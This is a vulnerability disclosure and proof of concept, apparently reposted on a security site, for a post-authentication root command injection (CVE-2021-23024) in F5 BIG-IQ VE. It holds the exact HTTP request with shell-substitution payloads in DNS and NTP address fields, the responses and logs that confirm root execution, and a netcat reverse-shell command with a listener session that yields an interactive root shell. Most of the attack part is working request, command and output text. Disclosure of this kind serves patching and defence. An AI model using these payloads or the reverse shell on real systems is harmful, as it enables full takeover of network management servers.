F5 BIG-IQ VE 8.0.0-2923215 Remote Root

Credit: Jeremy Brown
Risk: High
Local: No
Remote: Yes

F5 BIG-IQ VE v8.0.0-2923215 Post-auth Remote Root RCE CVE-2021-23024 ======= Details ======= It was possible to execute commands with root privileges as an authenticated privileged user via command injection in easy-setup-test-connection. There are two blind command injection bugs in Test DNS Connection and Test NTP Connection features, which make request to mgmt/shared/system/easy-setup-test-connection. User accounts tested for calling the API: - Admin - User + Administrator Role SSH is enabled by default for the root user, but the system does not intend the admin account to gain a shell access: admin:x:0:500:Admin User:/home/admin:/bin/false But an admin (or a user with admin-like privileges) can elevate privileges to root and gain a shell via command injection in the web portal. ===== Repro ===== https://bigiq/ui/system/this-device/dns-ntp/dns-ntp-edit Modify and replay back the dnsServerAddresses JSON field. ======= Request ======= PUT /mgmt/shared/system/easy-setup-test-connection HTTP/1.1 X-F5-Auth-Token: eyJraW..... ..... {"dnsServerAddresses":["$(id>/tmp/id)"],"ntpServerAddresses":[]} or {"dnsServerAddresses":[""],"ntpServerAddresses":["$(whoami)"]} ======== Response ======== HTTP/1.1 400 Bad Request Server: webd ..... {"code":400,"message":"Dns $(id>/tmp/id) is not valid\n","originalRequestBody":"{\"dnsServerAddresses\":[\"$(id>/tmp/id)\"],\"ntpServerAddresses\":[]}","referer":"https://bigiq/ui/system/this-device/dns-ntp/dns-ntp-edit","restOperationId":2101063,"errorStack":[],"kind":":resterrorresponse"} and repectively {"code":400,"message":"NTP $(whoami) is not valid\n","originalRequestBody":"{\"dnsServerAddresses\":[\"\"],\"ntpServerAddresses\":[\"$(whoami)\"]}","referer":"https://bigiq/ui/system/this-device/dns-ntp/dns-ntp-edit","restOperationId":2149253,"errorStack":[],"kind":":resterrorresponse"} ============= Execution Log ============= DNS: pid=7349 executed [/bin/sh -c dig +short +time=5 +tries=1 @$(id>/tmp/id) ] pid=7351 executed [id ] pid=7349 executed [dig +short +time=5 +tries=1 @ ] [root@big:ModuleNotLicensed::LICENSE INOPERATIVE:Standalone] config # cat /tmp/id uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0 NTP: pid=1288 executed [/bin/sh -c dig +short +time=5 +tries=1 @ $(whoami) ] pid=1290 executed [whoami ] pid=1288 executed [dig +short +time=5 +tries=1 @ root ] ============ Exploitation ============ The netcat binary with -e support is installed on the system already making a remote shell easy for demo. A command such as this will provide the connection to our client listener: "nc 5000 -e /bin/bash" while on the client we will drop into a root shell on the bigiq server. $ nc -l -p 5000 ... connection receieved python -c 'import pty; pty.spawn("/bin/bash")' [@big:ModuleNotLicensed::LICENSE INOPERATIVE:Standalone] restjavad # pwd /var/service/restjavad [@big:ModuleNotLicensed::LICENSE INOPERATIVE:Standalone] restjavad # id uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0 [@big:ModuleNotLicensed::LICENSE INOPERATIVE:Standalone] restjavad # ps ..... 32320 ? S 0:00 su elasticsearch -s /bin/bash -c export JAVA_HOME=/usr/lib/jvm/jre-1.8.0-openjdk.x86_64;export ES_JAVA_OPTS='-Xms6000m -Xmx6000m';export ES_PATH_CONF=/var/config/rest/elasticsearch/config;exec bin/elasticsearch >/dev/null 2>&1 32335 tty1 S 0:00 python -c import pty; pty.spawn("/bin/bash") 32336 pts/0 Ss 0:00 /bin/bash === Fix === https://support.f5.com/csp/article/K06024431

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com


Back to Top